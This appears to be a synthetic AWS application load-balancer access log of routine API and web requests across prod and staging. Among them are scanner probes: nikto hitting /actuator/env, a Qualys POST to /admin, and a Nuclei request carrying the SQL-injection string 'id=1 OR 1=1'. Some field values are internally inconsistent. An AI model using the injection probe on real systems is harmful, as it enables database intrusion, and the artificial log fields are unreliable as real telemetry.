2024-11-01T02:24:55.496024Z prod-api-alb 214.224.43.177:50759 10.0.27.227:443 0.032589 0.325603 0.080437 200 200 669 9374 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d987-50094c12a2fb4c5582170021" "prod-api-alb.example.com" "-" 9 2024-11-01T02:24:55.496024Z "forward" "-" "-" "10.0.27.227:443" "200" "-" "-" +https 2024-11-01T02:24:56.228177Z prod-api-alb 93.8.98.29:25843 10.0.58.163:443 0.016414 0.354025 0.094080 301 301 729 11104 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d988-c3b24575b5b24617b8dedcb0" "prod-api-alb.example.com" "-" 6 2024-11-01T02:24:56.228177Z "forward" "-" "-" "10.0.58.163:443" "301" "-" "-" +https 2024-11-01T02:24:57.903678Z prod-api-alb 127.128.174.2:44683 10.0.9.19:443 0.081332 0.342441 0.015534 302 302 176 5231 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d989-1ddcd9d0d9364522896e05cf" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:57.903678Z "forward" "-" "-" "10.0.9.19:443" "302" "-" "-" +https 2024-11-01T02:24:58.518952Z staging-alb 36.167.123.227:62554 153.161.87.217:8080 0.131563 0.735473 0.023627 200 200 269 6604 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d98a-dad1aeb6eb2544a186ea0752" "staging-alb.example.com" "-" 4 2024-11-01T02:24:58.518952Z "forward" "-" "-" "153.161.87.217:8080" "200" "-" "-" +http 2024-11-01T02:24:59.114862Z staging-alb 53.138.76.171:41996 38.134.209.145:80 0.047567 0.468905 0.122974 302 302 112 2984 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d98b-67c6baebec5242a99023b80e" "staging-alb.example.com" "-" 7 2024-11-01T02:24:59.114862Z "forward" "-" "-" "38.134.209.145:80" "302" "-" "-" +https 2024-11-01T02:24:59.478624Z prod-api-alb 77.32.25.61:37322 10.0.230.141:443 0.038819 0.141126 0.025339 200 200 735 1938 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d98b-2922cd3cc8b942d7b453cb5b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:59.478624Z "forward" "-" "-" "10.0.230.141:443" "200" "-" "-" +https 2024-11-01T02:24:59.721227Z prod-api-alb 186.105.209.3:36866 10.0.135.120:443 0.038096 0.423658 0.063298 301 301 932 12240 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d98b-c796632e6bfb495cbf153d8a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:24:59.721227Z "forward" "-" "-" "10.0.135.120:443" "301" "-" "-" +https 2024-11-01T02:25:01.139431Z prod-web-alb 69.32.114.129:37913 10.0.179.77:443 0.049703 0.247429 0.090853 200 200 114 5496 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d98d-094337d858e74bcda1338b50" "prod-web-alb.example.com" "-" 1 2024-11-01T02:25:01.139431Z "forward" "-" "-" "10.0.179.77:443" "200" "-" "-" +https 2024-11-01T02:25:02.796466Z prod-web-alb 72.248.13.132:19621 10.0.161.121:443 0.068984 0.040489 0.006755 200 200 509 10771 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d98e-41b990c284e44886b91bc023" "prod-web-alb.example.com" "-" 0 2024-11-01T02:25:02.796466Z "forward" "-" "-" "10.0.161.121:443" "200" "-" "-" +https 2024-11-01T02:25:04.025709Z prod-api-alb 227.144.216.91:58308 10.0.221.58:443 0.063488 0.337137 0.098163 200 200 220 13280 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d990-399077327ab84daba9a4dbd3" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:04.025709Z "forward" "-" "-" "10.0.221.58:443" "200" "-" "-" +https 2024-11-01T02:25:04.173578Z prod-web-alb 71.76.120.72:18458 10.0.173.143:443 0.027935 0.345863 0.092968 200 200 749 10727 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d990-44e97033b103415da9f0ad64" "prod-web-alb.example.com" "-" 7 2024-11-01T02:25:04.173578Z "forward" "-" "-" "10.0.173.143:443" "200" "-" "-" +https 2024-11-01T02:25:05.733037Z prod-api-alb 30.35.130.163:31149 10.0.159.162:443 0.000389 0.434365 0.030212 302 302 286 13682 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d991-ee143201cb2349e98ea87056" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:05.733037Z "forward" "-" "-" "10.0.159.162:443" "302" "-" "-" +https 2024-11-01T02:25:06.934419Z prod-web-alb 193.27.228.254:18805 10.0.89.198:443 0.062827 0.353194 0.016299 500 500 194 6929 "GET /actuator/env HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d992-1db6acdfbec1476899173f43" "-" "-" 8 2024-11-01T02:25:06.934419Z "forward" "-" "-" "10.0.89.198:443" "500" "-" "-" +https 2024-11-01T02:25:08.274893Z prod-web-alb 184.62.114.145:21026 10.0.107.1:443 0.077459 0.374492 0.023353 200 200 269 11153 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d994-9914f6e68e424e328addea7f" "prod-web-alb.example.com" "-" 8 2024-11-01T02:25:08.274893Z "forward" "-" "-" "10.0.107.1:443" "200" "-" "-" +https 2024-11-01T02:25:08.796090Z prod-api-alb 188.21.146.90:10930 10.0.29.121:443 0.027525 0.111673 0.029596 200 200 908 4993 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d994-2707c4fe9ea2436aac2b4aa8" "prod-api-alb.example.com" "-" 0 2024-11-01T02:25:08.796090Z "forward" "-" "-" "10.0.29.121:443" "200" "-" "-" +https 2024-11-01T02:25:10.760018Z prod-web-alb 157.230.12.44:28306 10.0.160.118:443 0.033131 0.220479 0.066962 301 301 880 10467 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d996-33102df0615f4f81b6753e73" "prod-web-alb.example.com" "-" 8 2024-11-01T02:25:10.760018Z "forward" "-" "-" "10.0.160.118:443" "301" "-" "-" +http 2024-11-01T02:25:11.999668Z staging-alb 145.101.72.147:51858 47.129.133.104:80 0.133794 0.138501 0.102370 200 200 241 6535 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d997-beb50998af6d4e6f95bd17e1" "staging-alb.example.com" "-" 10 2024-11-01T02:25:11.999668Z "forward" "-" "-" "47.129.133.104:80" "200" "-" "-" +https 2024-11-01T02:25:12.184875Z staging-alb 205.22.151.62:31640 22.122.227.116:8080 0.107514 0.171858 0.085556 200 200 169 11300 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d998-d4fd6a6d004d4e8cad9ab060" "staging-alb.example.com" "-" 0 2024-11-01T02:25:12.184875Z "forward" "-" "-" "22.122.227.116:8080" "200" "-" "-" +https 2024-11-01T02:25:12.333033Z prod-api-alb 213.107.63.179:50162 10.0.119.185:443 0.039814 0.189207 0.035937 200 200 682 8106 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d998-685f148c941e450c89822d12" "-" "-" 4 2024-11-01T02:25:12.333033Z "forward" "-" "-" "10.0.119.185:443" "200" "-" "-" +https 2024-11-01T02:25:12.608086Z prod-api-alb 164.68.55.158:45373 10.0.195.254:443 0.087543 0.415635 0.038349 200 200 408 422 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d998-0399086791674103abe341b5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:25:12.608086Z "forward" "-" "-" "10.0.195.254:443" "200" "-" "-" +https 2024-11-01T02:25:12.941201Z prod-web-alb 107.243.188.201:58300 10.0.141.213:443 0.023713 0.438249 0.059224 200 200 201 11399 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d998-be75535106cb429a8ebc5558" "prod-web-alb.example.com" "-" 5 2024-11-01T02:25:12.941201Z "forward" "-" "-" "10.0.141.213:443" "200" "-" "-" +https 2024-11-01T02:25:13.181171Z prod-web-alb 171.70.60.63:63752 10.0.106.105:443 0.024036 0.070131 0.044666 302 302 985 7540 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d999-b28e5dafb5d045a2a341e699" "prod-web-alb.example.com" "-" 5 2024-11-01T02:25:13.181171Z "forward" "-" "-" "10.0.106.105:443" "302" "-" "-" +https 2024-11-01T02:25:15.105279Z prod-web-alb 78.246.210.91:35488 10.0.208.14:443 0.078977 0.113849 0.098763 200 200 173 12586 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d99b-565f9b129b644561b352d716" "prod-web-alb.example.com" "-" 7 2024-11-01T02:25:15.105279Z "forward" "-" "-" "10.0.208.14:443" "200" "-" "-" +https 2024-11-01T02:25:16.806621Z prod-web-alb 44.95.27.74:36524 10.0.15.13:443 0.075580 0.262614 0.090463 200 200 424 3964 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d99c-2823e3878ed64651b0614271" "prod-web-alb.example.com" "-" 6 2024-11-01T02:25:16.806621Z "forward" "-" "-" "10.0.15.13:443" "200" "-" "-" +https 2024-11-01T02:25:18.082200Z prod-web-alb 57.192.255.147:29724 10.0.124.149:443 0.055348 0.364168 0.061642 302 302 477 8987 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d99e-d5dfb895e03a42ecb6580272" "prod-web-alb.example.com" "-" 0 2024-11-01T02:25:18.082200Z "forward" "-" "-" "10.0.124.149:443" "302" "-" "-" +https 2024-11-01T02:25:18.276610Z prod-web-alb 61.18.133.61:35796 10.0.200.166:443 0.007009 0.168888 0.089068 200 200 142 8483 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d99e-a0eb9cc5f8624ec290d19d31" "prod-web-alb.example.com" "-" 2 2024-11-01T02:25:18.276610Z "forward" "-" "-" "10.0.200.166:443" "200" "-" "-" +https 2024-11-01T02:25:19.551160Z prod-api-alb 171.172.15.251:61350 10.0.15.248:443 0.005625 0.429514 0.070894 301 301 46 10645 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d99f-1c7dcdd37bb34b6d81705812" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:19.551160Z "forward" "-" "-" "10.0.15.248:443" "301" "-" "-" +https 2024-11-01T02:25:20.022590Z prod-api-alb 95.151.229.96:50274 10.0.89.105:443 0.014398 0.167627 0.000833 302 302 136 13713 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9a0-792d098b00684a3e908faccb" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:20.022590Z "forward" "-" "-" "10.0.89.105:443" "302" "-" "-" +https 2024-11-01T02:25:21.252415Z prod-web-alb 108.26.239.164:35081 10.0.215.165:443 0.060575 0.015594 0.099681 200 200 468 10938 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9a1-87318eeaa6374a61be87210d" "prod-web-alb.example.com" "-" 9 2024-11-01T02:25:21.252415Z "forward" "-" "-" "10.0.215.165:443" "200" "-" "-" +https 2024-11-01T02:25:21.410772Z prod-web-alb 132.152.36.188:16254 10.0.51.185:443 0.071576 0.045514 0.057048 302 302 673 13122 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9a1-650fd7af40b54f89abb42c87" "prod-web-alb.example.com" "-" 1 2024-11-01T02:25:21.410772Z "forward" "-" "-" "10.0.51.185:443" "302" "-" "-" +https 2024-11-01T02:25:22.626336Z staging-alb 145.106.85.174:50495 54.66.68.95:8080 0.097167 0.257365 0.065190 200 200 232 2461 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9a2-2f2091d03c0d4a6caa06707f" "staging-alb.example.com" "-" 10 2024-11-01T02:25:22.626336Z "forward" "-" "-" "54.66.68.95:8080" "200" "-" "-" +https 2024-11-01T02:25:24.534559Z prod-api-alb 120.142.2.196:49888 10.0.2.95:443 0.003468 0.486729 0.014530 200 200 452 9324 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9a4-c803df65d15647dea4562dfd" "prod-api-alb.example.com" "-" 10 2024-11-01T02:25:24.534559Z "forward" "-" "-" "10.0.2.95:443" "200" "-" "-" +https 2024-11-01T02:25:24.927786Z prod-api-alb 135.98.121.39:26867 10.0.129.92:443 0.046606 0.467253 0.030432 404 404 711 12040 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9a4-c0c531d6dddc4e8582e3512d" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:24.927786Z "forward" "-" "-" "10.0.129.92:443" "404" "-" "-" +https 2024-11-01T02:25:25.559955Z prod-web-alb 193.27.228.176:51727 10.0.44.130:443 0.031657 0.456814 0.096404 301 301 843 9633 "POST /admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9a5-1876a5636eb64531be07dbc0" "-" "-" 5 2024-11-01T02:25:25.559955Z "forward" "-" "-" "10.0.44.130:443" "301" "-" "-" +https 2024-11-01T02:25:27.129295Z prod-web-alb 44.147.92.125:33448 10.0.73.221:443 0.075963 0.327152 0.007084 301 301 176 8494 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9a7-8c3e19002d6f4d83bb5bb2e9" "prod-web-alb.example.com" "-" 10 2024-11-01T02:25:27.129295Z "forward" "-" "-" "10.0.73.221:443" "301" "-" "-" +https 2024-11-01T02:25:27.346254Z staging-alb 147.70.203.249:64554 94.248.41.30:443 0.007441 0.554757 0.137401 301 301 939 14072 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9a7-df9253f91c4d4b3a8140e893" "staging-alb.example.com" "-" 1 2024-11-01T02:25:27.346254Z "forward" "-" "-" "94.248.41.30:443" "301" "-" "-" +https 2024-11-01T02:25:27.552016Z prod-api-alb 177.152.31.148:17988 10.0.148.119:443 0.024262 0.487188 0.041825 301 301 470 10926 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9a7-3935d7c0be174c5691b54b19" "prod-api-alb.example.com" "-" 2 2024-11-01T02:25:27.552016Z "forward" "-" "-" "10.0.148.119:443" "301" "-" "-" +https 2024-11-01T02:25:27.731052Z prod-api-alb 62.240.151.144:22362 10.0.78.77:443 0.059136 0.452658 0.069865 200 200 314 2474 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9a7-f28fc99dfa3345478e6464f0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:27.731052Z "forward" "-" "-" "10.0.78.77:443" "200" "-" "-" +https 2024-11-01T02:25:28.846500Z staging-alb 87.211.10.216:24698 242.171.10.62:8080 0.104635 0.208893 0.035216 301 301 422 540 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9a8-a0470abf01ef49bab1972312" "staging-alb.example.com" "-" 0 2024-11-01T02:25:28.846500Z "forward" "-" "-" "242.171.10.62:8080" "301" "-" "-" +https 2024-11-01T02:25:30.604016Z staging-alb 114.64.49.40:12115 2.219.255.65:80 0.106919 0.118939 0.139758 302 302 658 10415 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9aa-52b792879da94b9eade6f258" "staging-alb.example.com" "-" 2 2024-11-01T02:25:30.604016Z "forward" "-" "-" "2.219.255.65:80" "302" "-" "-" +https 2024-11-01T02:25:30.932270Z prod-api-alb 156.129.150.108:27454 10.0.117.155:443 0.096094 0.077353 0.049415 404 404 58 3696 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9aa-ef7360b3f00d44ad8c0938f8" "prod-api-alb.example.com" "-" 6 2024-11-01T02:25:30.932270Z "forward" "-" "-" "10.0.117.155:443" "404" "-" "-" +https 2024-11-01T02:25:31.940686Z prod-api-alb 99.196.78.218:50810 10.0.146.224:443 0.078665 0.047830 0.070027 302 302 966 3214 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ab-5bd424ad3e164b3c9ff63d29" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:31.940686Z "forward" "-" "-" "10.0.146.224:443" "302" "-" "-" +https 2024-11-01T02:25:32.562356Z prod-api-alb 40.90.224.214:60931 10.0.47.224:443 0.090021 0.042167 0.085427 302 302 611 7827 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ac-09251827606c4372b2820003" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:32.562356Z "forward" "-" "-" "10.0.47.224:443" "302" "-" "-" +https 2024-11-01T02:25:33.131370Z prod-api-alb 171.144.230.100:50211 10.0.179.24:443 0.040404 0.444729 0.054765 200 200 356 10769 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9ad-9e359088f9a24caaab73914b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:33.131370Z "forward" "-" "-" "10.0.179.24:443" "200" "-" "-" +https 2024-11-01T02:25:33.955685Z prod-api-alb 45.155.205.16:19453 10.0.230.221:443 0.008455 0.219006 0.019876 200 200 788 3273 "GET /users?id=1 OR 1=1 HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9ad-dc016a33675345c7b41949b8" "-" "-" 0 2024-11-01T02:25:33.955685Z "forward" "-" "-" "10.0.230.221:443" "200" "-" "-" +https 2024-11-01T02:25:35.280557Z prod-web-alb 215.8.162.195:30533 10.0.26.183:443 0.009345 0.401773 0.061841 200 200 539 12245 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9af-be85631bf9474176b272abe2" "prod-web-alb.example.com" "-" 1 2024-11-01T02:25:35.280557Z "forward" "-" "-" "10.0.26.183:443" "200" "-" "-" +https 2024-11-01T02:25:36.059709Z prod-api-alb 5.55.234.188:27662 10.0.120.169:443 0.037850 0.328992 0.012385 200 200 487 3157 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 